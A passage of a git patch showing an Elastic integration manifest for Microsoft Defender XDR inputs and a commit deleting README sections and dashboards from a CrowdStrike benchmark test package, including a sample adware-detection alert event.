show_user: true - - name: client_secret - type: password - title: Client Secret - description: Client Secret for Azure AD application. - multi: false - required: true - show_user: true - secret: true - - name: tenant_id - type: text - title: Tenant ID - description: Tenant ID of the Azure. - multi: false - required: true - show_user: true - - name: oauth_endpoint_params - type: yaml - title: OAuth2 Endpoint Params - description: Set of values that will be sent on each resource to the OAuth Server URL. Each param key can have multiple values and they are appended to the URL as query parameters. - show_user: false - multi: false - required: false - - name: proxy_url - type: text - title: Proxy URL - multi: false - required: false - show_user: false - description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format. - - name: ssl - type: yaml - title: SSL Configuration - description: SSL configuration options. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. - multi: false - required: false - show_user: false - default: | - #certificate_authorities: - # - | - # -----BEGIN CERTIFICATE----- - # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF - # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 - # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB - # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n - # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl - # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t - # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP - # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 - # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O - # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux - # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D - # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw - # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA - # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu - # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 - # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk - # sxSmbIUfc2SGJGCJD4I= - # -----END CERTIFICATE----- - - type: filestream - title: M365 defender logs using filestream input - description: Collect M365 defender logs using filestream input. - - type: azure-eventhub - title: "Collect events using Azure Event Hub" - description: "Collect events from Microsoft Defender XDR using Azure Event Hub" - - type: cel - title: "Collect vulnerabilities using Microsoft Defender for Endpoint API" - description: "Collect vulnerabilities from Microsoft Defender XDR using Microsoft Defender for Endpoint API." - vars: - - name: url - type: text - title: URL - description: By default, the URL is set to `https://api.security.microsoft.com`. For better performance, use a server closer to your geolocation. Refer to [documentation](https://learn.microsoft.com/en-us/defender-endpoint/api/exposed-apis-list#versioning) for details. - multi: false - required: true - show_user: false - default: https://api.security.microsoft.com - - name: client_id - type: text - title: Client ID - description: Client ID for Microsoft Entra ID application. - multi: false - required: true - show_user: true - - name: client_secret - type: password - title: Client Secret - secret: true - description: Client Secret for Microsoft Entra ID application. - multi: false - required: true - show_user: true - - name: azure_tenant_id - type: text - title: Tenant ID - description: Tenant ID of the Azure. - multi: false - required: true - show_user: true - - name: token_url - type: text - title: Oauth2 Token URL - description: The Base URL endpoint that will be used to generate the tokens during the oauth2 flow. If not provided, above `Tenant ID` will be used for oauth2 token generation. - show_user: true - required: false - default: https://login.microsoftonline.com - secret: false - - name: token_scopes - type: text - title: Token Scopes - description: Defines the level of access granted to the API. This scope is required to authenticate and authorize API requests in Microsoft Defender XDR Vulnerability Management. - multi: true - secret: false - required: true - show_user: false - default: - - "https://securitycenter.onmicrosoft.com/windowsatpservice/.default" - - name: oauth_endpoint_params - type: yaml - title: OAuth2 Endpoint Params - description: Set of values that will be sent on each resource to the OAuth Server URL. Each param key can have multiple values and they are appended to the URL as query parameters. - show_user: false - multi: false - required: false - default: | - #grant_type: client_credentials - #refresh_token: - # - refresh_token_1 - # - refresh_token_2 - - name: proxy_url - type: text - title: Proxy URL - description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format. - multi: false - required: false - show_user: false - - name: ssl - type: yaml - title: SSL Configuration - description: SSL configuration options. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. - multi: false - required: false - show_user: false - default: | - #certificate_authorities: - # - | - # -----BEGIN CERTIFICATE----- - # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF - # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 - # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB - # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n - # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl - # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t - # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP - # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 - # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O - # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux - # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D - # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw - # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA - # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu - # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 - # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk - # sxSmbIUfc2SGJGCJD4I= - # -----END CERTIFICATE----- -owner: - github: elastic/security-service-integrations - type: elastic From fbc20711027148f721c7eb5f0d29fcdccc33f5ed Mon Sep 17 00:00:00 2001 From: kcreddy Date: Wed, 25 Mar 2026 19:39:42 +0530 Subject: [PATCH 15/19] Fix README --- .../_dev/build/docs/README.md | 52 - .../docs/README.md | 3286 ----------------- ...-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json | 747 ---- ...-63da2573-4e68-4e7d-a06b-6858edb60fd5.json | 1111 ------ ...-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json | 1062 ------ ...-ad80a080-821b-11ee-bae0-937af575b750.json | 1208 ------ ...-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json | 2506 ------------- ...-e64e8fe0-8210-11ee-bae0-937af575b750.json | 1073 ------ ...-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json | 50 - ...-9b99d190-8214-11ee-bae0-937af575b750.json | 194 - ...-a9e7ff80-8212-11ee-bae0-937af575b750.json | 99 - .../kibana/tags.yml | 4 - 12 files changed, 11392 deletions(-) delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md index 964a2b4d41..aef2c75e12 100644 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md @@ -313,55 +313,3 @@ The integration sets `event.severity` according to the mapping in the table abov | 40 - 59 | medium | | 60 - 79 | high | | 80 - 100 | critical | - -## Logs - -### Alert - -This is the `alert` dataset. - -#### Example - -{{event "alert"}} - -{{fields "alert"}} - -### Falcon - -This is the `falcon` dataset. - -#### Example - -{{event "falcon"}} - -{{fields "falcon"}} - -### FDR - -This is the `fdr` dataset. - -#### Example - -{{event "fdr"}} - -{{fields "fdr"}} - -### Host - -This is the `host` dataset. - -#### Example - -{{event "host"}} - -{{fields "host"}} - -### Vulnerability - -This is the `vulnerability` dataset. - -#### Example - -{{event "vulnerability"}} - -{{fields "vulnerability"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md index b550fbe5c5..aef2c75e12 100644 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md @@ -313,3289 +313,3 @@ The integration sets `event.severity` according to the mapping in the table abov | 40 - 59 | medium | | 60 - 79 | high | | 80 - 100 | critical | - -## Logs - -### Alert - -This is the `alert` dataset. - -#### Example - -An example event for `alert` looks as following: - -```json -{ - "@timestamp": "2023-11-03T18:00:22.328Z", - "agent": { - "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530", - "id": "d541c008-3558-403d-9392-4faa6d42fcb4", - "name": "elastic-agent-43429", - "type": "filebeat", - "version": "8.18.0" - }, - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "data_stream": { - "dataset": "crowdstrike.alert", - "namespace": "96581", - "type": "logs" - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "d541c008-3558-403d-9392-4faa6d42fcb4", - "snapshot": true, - "version": "8.18.0" - }, - "event": { - "agent_id_status": "verified", - "category": [ - "process" - ], - "dataset": "crowdstrike.alert", - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ingested": "2025-10-09T10:20:29Z", - "kind": "alert", - "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\